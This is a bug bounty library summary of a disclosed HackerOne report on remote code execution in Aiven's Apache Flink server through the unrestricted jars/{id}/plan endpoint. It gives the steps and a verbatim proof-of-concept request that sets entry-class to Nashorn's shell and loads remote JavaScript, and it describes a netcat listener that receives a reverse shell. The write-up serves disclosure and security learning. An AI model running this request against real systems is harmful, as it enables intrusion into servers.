# Apache Flink RCE via GET jar/plan API Endpoint

Unrestricted Flink jars/{id}/plan endpoint let attacker set entry-class to Nashorn shell Main and load remote JS, achieving RCE on Aiven's Flink server.

- Payout: $6,000
- Severity: critical
- Program: Aiven Ltd
- Found by: jarij
- Disclosed: 2022-11-08
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/1418891
- Library page: https://bugbountylibrary.com/r/h1%3A1418891
- Tags: area:cloud domain:infra domain:web impact:internal-access impact:rce kind:bounty platform:hackerone sev:critical tech:java technique:source-review vuln:access-control vuln:command-injection vuln:rce

**Target:** Apache Flink Web API endpoint GET /jars/{jar_id}/plan
**Root cause:** The plan endpoint accepts an arbitrary entry-class and programArg, allowing loading any class on the classpath (e.g. com.sun.tools.script.shell.Main) with attacker-controlled arguments.
**Steps:**
1. Upload/identify a jar via Flink API so a jar_id exists
2. Send `GET /jars/<jar_id>/plan?entry-class=com.sun.tools.script.shell.Main&programArg=-e,load("https://attacker/shell-loader.js")&parallelism=1` with Basic auth
3. Start `nc -n -lvp 8888` listener on attacker VPS
4. Run poc.py to trigger the plan call and receive reverse shell
5. Restart Flink job after shell closes since service crashes
**How found:** Researcher noticed the jars/{jar_id}/plan API was not access-restricted and reasoned that entry-class/programArg parameters allow loading arbitrary classpath classes, then chose Nashorn's script shell Main to execute remote JS.
**Exploitation:** Attacker with API access calls the plan endpoint specifying entry-class com.sun.tools.script.shell.Main and programArg -e,load(remote JS URL), causing Flink to execute the Nashorn shell loader which fetches and runs attacker JS, spawning a reverse shell to the attacker's netcat listener.
**Escalation:** Reverse shell on Flink server could be used to pivot into other network resources.
**Insight:** Flink's plan endpoint's entry-class/programArg params are an execution primitive: any class on the classpath (e.g. Nashorn com.sun.tools.script.shell.Main) can be invoked, so audit job-submission APIs for unvalidated class/arg parameters rather than only jar upload.

## Proof of concept (copied exactly from the original report)

**GET jar/plan request loading remote JS shell**

```
GET /jars/145df7ff-c71a-4f3a-b77a-ee4055b1bede_a.jar/plan?entry-class=com.sun.tools.script.shell.Main&programArg=-e,load("https://fs.bugbounty.jarijaas.fi/aiven-flink/shell-loader.js")&parallelism=1 HTTP/1.1
Host: ████
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Authorization: Basic █████
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96"
Accept: application/json, text/plain, */*
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
sec-ch-ua-platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Language: en-US,en;q=0.9,fi;q=0.8
```

